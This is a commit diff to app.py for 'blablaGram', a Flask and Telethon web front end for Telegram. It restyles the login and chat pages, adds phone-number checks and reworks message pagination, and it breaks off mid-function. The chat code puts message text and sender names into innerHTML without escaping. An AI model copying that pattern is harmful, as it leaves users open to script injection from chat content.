Update app.py

app.py

@@ -11,6 +11,7 @@ from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotP
 from telethon.tl.functions.messages import ImportChatInviteRequest
 from telethon.tl.functions.channels import JoinChannelRequest
 from telethon.tl.types import User, Chat, Channel
+from telethon.errors.rpcerrorlist import PhoneNumberInvalidError, PhoneCodeExpiredError, PhoneCodeInvalidError, RpcCallError
 
 app = Flask(__name__)
 
@@ -22,7 +23,6 @@ PORT = 7860
 SESSION_DIR = 'sessions'
 DOWNLOAD_DIR = 'downloads'
 DB_PATH = 'users.db'
-MESSAGES_PER_PAGE = 30
 
 os.makedirs(SESSION_DIR, exist_ok=True)
 os.makedirs(DOWNLOAD_DIR, exist_ok=True)
@@ -65,21 +65,42 @@ LOGIN_TEMPLATE = '''
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>blablaGram - Login</title>
-    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
+    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
     <style>
-        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
-        .container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }
-        h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
-        input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.1em; transition: border-color 0.3s, box-shadow 0.3s; }
-        input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; }
-        button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
-        button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
-        button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
-        .message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.5; font-weight: 500; }
+        :root {
+            --primary-blue: #2AABEE;
+            --dark-blue: #1C91D0;
+            --background-light: #F5F7FA;
+            --background-mid: #E9EBEE;
+            --card-background: #FFFFFF;
+            --text-dark: #333;
+            --text-medium: #666;
+            --border-light: #E0E0E0;
+            --shadow-light: rgba(0,0,0,0.08);
+            --shadow-medium: rgba(0,0,0,0.15);
+        }
+        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-mid); color: var(--text-dark); margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }
+        .container { background: var(--card-background); padding: 40px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); max-width: 440px; width: 90%; text-align: center; animation: fadeIn 0.8s ease-out; }
+        @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }
+        h1 { color: var(--primary-blue); margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
+        input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--background-light); color: var(--text-dark); font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
+        input[type="text"]:focus, input[type="password"]:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #fff; }
+        button { background: var(--primary-blue); color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.1em; font-weight: 600; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }
+        button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }
+        button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
+        .message { margin-top: 25px; padding: 18px; border-radius: 10px; font-size: 0.95em; line-height: 1.5; text-align: left; animation: slideIn 0.5s ease-out forwards; opacity: 0; }
+        @keyframes slideIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
         .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
         .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
-        .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
+        .message.info { background: #EBF8FF; color: var(--primary-blue); border: 1px solid #C8E6F0; }
         .hidden { display: none; }
+
+        @media (max-width: 600px) {
+            .container { padding: 30px 20px; border-radius: 12px; }
+            h1 { font-size: 2.5em; margin-bottom: 25px; }
+            input[type="text"], input[type="password"], button { font-size: 1em; padding: 14px; }
+            .message { font-size: 0.9em; padding: 15px; }
+        }
     </style>
 </head>
 <body>
@@ -107,12 +128,18 @@ LOGIN_TEMPLATE = '''
         }
 
         async function startLogin() {
-            phone = document.getElementById('phone').value;
+            phone = document.getElementById('phone').value.trim();
             if (!phone) {
                 showMessage('Please enter your phone number.', 'error');
                 return;
             }
+            if (!phone.startsWith('+')) {
+                showMessage('Please include the country code (e.g., +1234567890).', 'error');
+                return;
+            }
+
             showMessage('Sending code...', 'info');
+            // Hide previous inputs
             document.getElementById('code').classList.add('hidden');
             document.getElementById('password').classList.add('hidden');
             document.getElementById('submitCode').classList.add('hidden');
@@ -140,7 +167,7 @@ LOGIN_TEMPLATE = '''
         }
 
         async function submitCode() {
-            const code = document.getElementById('code').value;
+            const code = document.getElementById('code').value.trim();
             if (!code) {
                 showMessage('Please enter the verification code.', 'error');
                 return;
@@ -167,7 +194,7 @@ LOGIN_TEMPLATE = '''
         }
 
         async function submitPassword() {
-            const password = document.getElementById('password').value;
+            const password = document.getElementById('password').value.trim();
             if (!password) {
                 showMessage('Please enter your cloud password.', 'error');
                 return;
@@ -200,81 +227,96 @@ BLABLAGRAM_APP_TEMPLATE = '''
     <title>blablaGram</title>
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
+        :root {
+            --primary-blue: #2AABEE;
+            --dark-blue: #1C91D0;
+            --background-light: #F5F7FA;
+            --background-mid: #E9EBEE;
+            --card-background: #FFFFFF;
+            --text-dark: #1C1C1C;
+            --text-medium: #666;
+            --text-light: #888;
+            --border-light: #E0E0E0;
+            --shadow-light: rgba(0,0,0,0.05);
+            --shadow-medium: rgba(0,0,0,0.15);
+            --success-green: #28A745;
+            --success-green-hover: #218838;
+            --secondary-gray: #6C757D;
+            --secondary-gray-hover: #5A6268;
+        }
+
+        body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); overflow: hidden; }
         .app-layout { display: flex; height: 100vh; width: 100%; }
-        .sidebar { flex: 0 0 360px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 10; }
-        .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
-        .sidebar-header h2 { margin: 0; font-size: 1.8em; color: #2AABEE; font-weight: 700; letter-spacing: -0.5px; }
-        .sidebar-header .actions button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
-        .sidebar-header .actions button:hover { background-color: #E6F3FC; }
-        .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px; }
-        .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }
-        .chat-item:hover { background-color: #F8F8F8; }
-        .chat-item.active { background-color: #E6F3FC; }
-        .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
+
+        .sidebar { flex: 0 0 320px; background: var(--card-background); border-right: 1px solid var(--border-light); display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
+        .sidebar-header { padding: 15px 20px; border-bottom: 1px solid var(--border-light); display: flex; align-items: center; justify-content: space-between; }
+        .sidebar-header h2 { margin: 0; font-size: 1.6em; color: var(--primary-blue); font-weight: 700; letter-spacing: -0.5px; }
+        .sidebar-header .actions button { background: none; border: none; font-size: 1.7em; cursor: pointer; color: var(--primary-blue); padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
+        .sidebar-header .actions button:hover { background-color: var(--background-light); }
+        .sidebar-toggle-button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: var(--primary-blue); padding: 0 10px; display: none; }
+
+        .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
+        .chat-item { display: flex; align-items: center; padding: 14px 20px; border-bottom: 1px solid var(--background-light); cursor: pointer; transition: background-color 0.2s, color 0.2s; }
+        .chat-item:hover { background-color: var(--background-light); }
+        .chat-item.active { background-color: rgba(42, 171, 238, 0.08); color: var(--primary-blue); border-left: 4px solid var(--primary-blue); padding-left: 16px; }
+        .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: var(--primary-blue); color: white; display: flex; align-items: center; justify-content: center; font-size: 1.7em; font-weight: 600; margin-right: 15px; flex-shrink: 0; box-shadow: 0 2px 5px var(--shadow-light); }
         .chat-info { flex: 1; overflow: hidden; }
-        .chat-info h3 { margin: 0 0 6px; font-size: 1.15em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
-        .chat-item.active .chat-info h3 { color: #2AABEE; }
-        .chat-info p { margin: 0; font-size: 0.9em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
+        .chat-info h3 { margin: 0 0 4px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: var(--text-dark); }
+        .chat-item.active .chat-info h3 { color: var(--primary-blue); }
+        .chat-info p { margin: 0; font-size: 0.85em; color: var(--text-medium); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
         
         .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
-        .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.05); }
-        .chat-panel-header h2 { margin: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; }
-        .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
-        .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
+        .chat-panel-header { background: var(--card-background); padding: 15px 25px; border-bottom: 1px solid var(--border-light); display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px var(--shadow-light); }
+        .chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: var(--text-dark); }
+        .chat-panel-header .header-actions button { background: var(--primary-blue); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
+        .chat-panel-header .header-actions button:hover { background: var(--dark-blue); transform: translateY(-1px); }
         .chat-panel-header .header-actions button:active { transform: translateY(0); }
-        .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
-        .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
+        .chat-panel-header .header-actions .switch-account { background: var(--secondary-gray); margin-left: 10px; box-shadow: 0 2px 5px rgba(108, 117, 125, 0.2); }
+        .chat-panel-header .header-actions .switch-account:hover { background: var(--secondary-gray-hover); }
         
-        .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
-        .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
-        .load-more-button:hover { background: #5A6268; }
-        .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.98em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
+        .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; scroll-behavior: smooth; }
+        .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px var(--shadow-light); }
         .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
-        .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
-        .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
-        .message-text { color: #111; }
-        .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
-        .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
+        .message-item.received { background: var(--card-background); align-self: flex-start; border-bottom-left-radius: 6px;}
+        .message-sender { font-weight: 600; color: var(--primary-blue); margin-bottom: 5px; display: block; font-size: 0.9em; }
+        .message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}
+        .message-meta { font-size: 0.75em; color: var(--text-light); margin-top: 6px; text-align: right; }
+        .media-link { display: block; margin-top: 8px; color: var(--primary-blue); text-decoration: none; font-weight: 500; word-break: break-all; }
         .media-link:hover { text-decoration: underline; }
+        .load-more-messages { text-align: center; margin-top: 15px; color: var(--text-medium); font-size: 0.9em;}
+        .load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
+        .load-more-messages button:hover { background: var(--dark-blue); }
         
-        .chat-input-area { background: #FFFFFF; padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px rgba(0,0,0,0.03); }
-        .chat-input-area textarea { flex: 1; padding: 14px 18px; border: 1px solid #E0E0E0; border-radius: 24px; background: #F9F9F9; resize: none; overflow-y: auto; max-height: 120px; font-size: 1.05em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
-        .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
-        .chat-input-area button { background: #2AABEE; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
-        .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
-        .chat-input-area button:active { transform: translateY(0); }
+        .chat-input-area { background: var(--card-background); padding: 12px 20px; border-top: 1px solid var(--border-light); display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px var(--shadow-light); }
+        .chat-input-area textarea { flex: 1; padding: 12px 16px; border: 1px solid var(--border-light); border-radius: 24px; background: var(--background-light); resize: none; overflow-y: auto; max-height: 120px; min-height: 48px; font-size: 1em; line-height: 1.4; color: var(--text-dark); transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
+        .chat-input-area textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; background: #fff; }
+        .chat-input-area button { background: var(--primary-blue); color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.3); }
+        .chat-input-area button:hover { background: var(--dark-blue); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.4); }
+        .chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.2); }
         
-        .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.4em; text-align: center; }
-        .join-chat-section { padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
-        .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 10px; font-size: 1em; }
-        .join-chat-section button { background: #28A745; color: white; padding: 0 20px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
-        .join-chat-section button:hover { background: #218838; }
-
-        .sidebar-toggle-button.mobile { display: none; }
-
+        .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: var(--text-medium); font-size: 1.2em; text-align: center; }
+        .join-chat-section { padding: 15px 20px; border-top: 1px solid var(--border-light); display: flex; gap: 10px; background-color: var(--card-background); }
+        .join-chat-section input { flex: 1; padding: 12px; border: 1px solid var(--border-light); border-radius: 10px; font-size: 0.95em; box-sizing: border-box; }
+        .join-chat-section input:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }
+        .join-chat-section button { background: var(--success-green); color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; font-size: 0.95em; transition: background 0.2s, transform 0.2s; }
+        .join-chat-section button:hover { background: var(--success-green-hover); transform: translateY(-1px); }
+
+        /* Mobile Adaptation */
         @media (max-width: 768px) {
             .app-layout { flex-direction: column; }
-            .sidebar { 
-                flex: 0 0 auto; 
-                width: 100%; 
-                height: 100vh; 
-                position: fixed; 
-                top: 0; 
-                left: 0; 
-                transform: translateX(-100%); 
-                box-shadow: 2px 0 10px rgba(0,0,0,0.1);
-            }
+            .sidebar { flex: 0 0 auto; width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); background: var(--card-background); box-shadow: 2px 0 10px var(--shadow-medium); }
             .sidebar.active { transform: translateX(0); }
-            .chat-panel { width: 100%; height: 100vh; }
-
-            .sidebar-toggle-button.mobile { display: block; background: none; border: none; font-size: 1.8em; color: #2AABEE; cursor: pointer; padding: 0; margin-right: 15px; }
+            .chat-panel { width: 100%; height: 100vh; position: relative; }
+            .sidebar-toggle-button { display: block; margin-right: 15px; } /* Shows hamburger on sidebar, back arrow on chat panel */
             .sidebar-header .actions { display: flex; align-items: center; }
             .chat-panel-header { padding: 15px 15px; }
             .chat-panel-header h2 { font-size: 1.2em; }
             .chat-input-area { padding: 10px 15px; }
-            .message-item { max-width: 85%; }
-            .sidebar-header h2 { font-size: 1.5em; }
+            .message-item { max-width: 90%; }
+        }
+        @media (min-width: 769px) {
+            .sidebar-toggle-button.mobile-back-arrow { display: none; } /* Hide back arrow on desktop */
+            .sidebar-toggle-button { display: none; } /* Hide hamburger button on desktop */
         }
     </style>
 </head>
@@ -282,7 +324,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
     <div class="app-layout">
         <div class="sidebar" id="sidebar">
             <div class="sidebar-header">
-                <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">☰</button>
+                <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
                 <h2>blablaGram</h2>
                 <div class="actions">
                     <button onclick="newMessage()" title="New Message">✎</button>
@@ -296,7 +338,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
         </div>
         <div class="chat-panel" id="chatPanel">
             <div class="chat-panel-header" id="appHeader">
-                <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">←</button>
+                <button class="sidebar-toggle-button mobile-back-arrow" onclick="toggleSidebar()">←</button>
                 <div id="chat-header-info">
                     <h2 id="chatTitle" style="display:none;"></h2>
                 </div>
@@ -308,9 +350,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
             <div class="no-chat-selected" id="noChatSelected">
                 Select a chat to start messaging
             </div>
-            <div class="messages-container" id="messagesContainer" style="display:none;">
-                <button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>
-            </div>
+            <div class="messages-container" id="messagesContainer" style="display:none;"></div>
             <div class="chat-input-area" id="chatInputArea" style="display:none;">
                 <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
                 <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
@@ -323,8 +363,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
     <script>
         let currentChatId = null;
         let isSidebarOpen = false;
-        let oldestMessageId = null;
-        const messagesPerPage = {{ MESSAGES_PER_PAGE }};
+        let messagesLoadedOffsetId = 0;
+        let hasMoreMessages = true;
+        const messagesPerPage = 50; // Keep this consistent with backend limit
 
         function toggleSidebar() {
             const sidebar = document.getElementById('sidebar');
@@ -367,12 +408,20 @@ BLABLAGRAM_APP_TEMPLATE = '''
                     chatListDiv.appendChild(chatItem);
                 });
             } else {
-                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
+                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: var(--text-medium);">${result.message || 'No chats found.'}</p>`;
             }
         }
 
         async function selectChat(chatId) {
+            if (currentChatId === chatId) { // Prevent re-loading if already selected
+                if (window.innerWidth <= 768 && isSidebarOpen) { // Hide sidebar if on mobile and already open
+                    toggleSidebar();
+                }
+                return;
+            }
             currentChatId = chatId;
+            messagesLoadedOffsetId = 0; // Reset offset for new chat
+            hasMoreMessages = true; // Assume there are more messages for a new chat
 
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
             document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -386,78 +435,86 @@ BLABLAGRAM_APP_TEMPLATE = '''
             document.getElementById('messagesContainer').style.display = 'flex';
             document.getElementById('chatInputArea').style.display = 'flex';
             
-            oldestMessageId = null; // Reset oldest message ID for new chat
-            await fetchMessages(chatId, false); // Fetch initial messages
+            await fetchMessages(chatId, 0, false); // Fetch initial messages
             if (window.innerWidth <= 768) {
-                toggleSidebar();
+                toggleSidebar(); // Hide sidebar on mobile after selecting chat
             }
         }
 
-        async function fetchMessages(chatId, isLoadMore) {
+        async function fetchMessages(chatId, offsetId, isLoadMore) {
             const messagesContainer = document.getElementById('messagesContainer');
-            const loadMoreBtn = document.getElementById('loadMoreMessages');
-            
             if (!isLoadMore) {
-                messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
-                oldestMessageId = null;
-                loadMoreBtn.style.display = 'none';
+                messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';
             } else {
-                loadMoreBtn.textContent = 'Loading...';
-                loadMoreBtn.disabled = true;
+                const loadingIndicator = document.createElement('p');
+                loadingIndicator.style.textAlign = 'center';
+                loadingIndicator.style.color = 'var(--text-medium)';
+                loadingIndicator.textContent = 'Loading older messages...';
+                loadingIndicator.id = 'loadingOlderMessages';
+                messagesContainer.prepend(loadingIndicator);
             }
-
-            let url = `/api/chat_messages/${chatId}?limit=${messagesPerPage}`;
-            if (oldestMessageId) {
-                url += `&max_id=${oldestMessageId}`;
-            }
-
-            const response = await fetch(url);
+            
+            const response = await fetch(`/api/chat_messages/${chatId}?offset_id=${offsetId}`);
             const result = await response.json();
 
-            if (!isLoadMore) {
-                 messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>';
+            if (document.getElementById('loadingOlderMessages')) {
+                document.getElementById('loadingOlderMessages').remove();
             }
 
             if (result.success && result.messages) {
-                result.messages.reverse().forEach(msg => { // Messages are newest to oldest, reverse to oldest to newest for prepending
+                if (!isLoadMore) {
+                    messagesContainer.innerHTML = ''; // Clear only for initial load
+                }
+
+                if (result.messages.length === 0 && !isLoadMore) {
+                    messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;
+                    hasMoreMessages = false;
+                    return;
+                }
+                
+                const fragment = document.createDocumentFragment();
+                result.messages.reverse().forEach(msg => { // Iterate in reverse to prepend
                     const messageItem = document.createElement('div');
                     messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
                     
-                    let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
+                    let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';
                     let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
                     let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
                     let metaHtml = `<div class="message-meta">${msg.date}</div>`;
                     let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
 
                     messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
-                    messagesContainer.appendChild(messageItem); // Append to bottom of list (which is actually top due to column-reverse)
+                    fragment.prepend(messageItem); // Prepend to fragment to maintain order
                 });
 
-                if (result.messages.length > 0) {
-                    oldestMessageId = result.messages[0].id; // The first message in the reversed list is the oldest one fetched
-                }
-                
-                if (result.messages.length < messagesPerPage || !result.has_more) {
-                    loadMoreBtn.style.display = 'none';
+                // Prepend 'Load More' button if there are more messages
+                if (result.has_more_messages) {
+                    const loadMoreDiv = document.createElement('div');
+                    loadMoreDiv.className = 'load-more-messages';
+                    loadMoreDiv.innerHTML = `<button onclick="loadOlderMessages()">Load More</button>`;
+                    fragment.prepend(loadMoreDiv);
+                    hasMoreMessages = true;
                 } else {
-                    loadMoreBtn.style.display = 'block';
-                    loadMoreBtn.textContent = 'Load Older Messages';
-                    loadMoreBtn.disabled = false;
+                    hasMoreMessages = false;
                 }
 
+                messagesContainer.prepend(fragment); // Prepend all messages in one go
+
                 if (!isLoadMore) {
-                    messagesContainer.scrollTop = messagesContainer.scrollHeight;
+                    messagesContainer.scrollTop = messagesContainer.scrollHeight; // Scroll to bottom for initial load
                 }
+                
+                messagesLoadedOffsetId = result.next_offset_id;
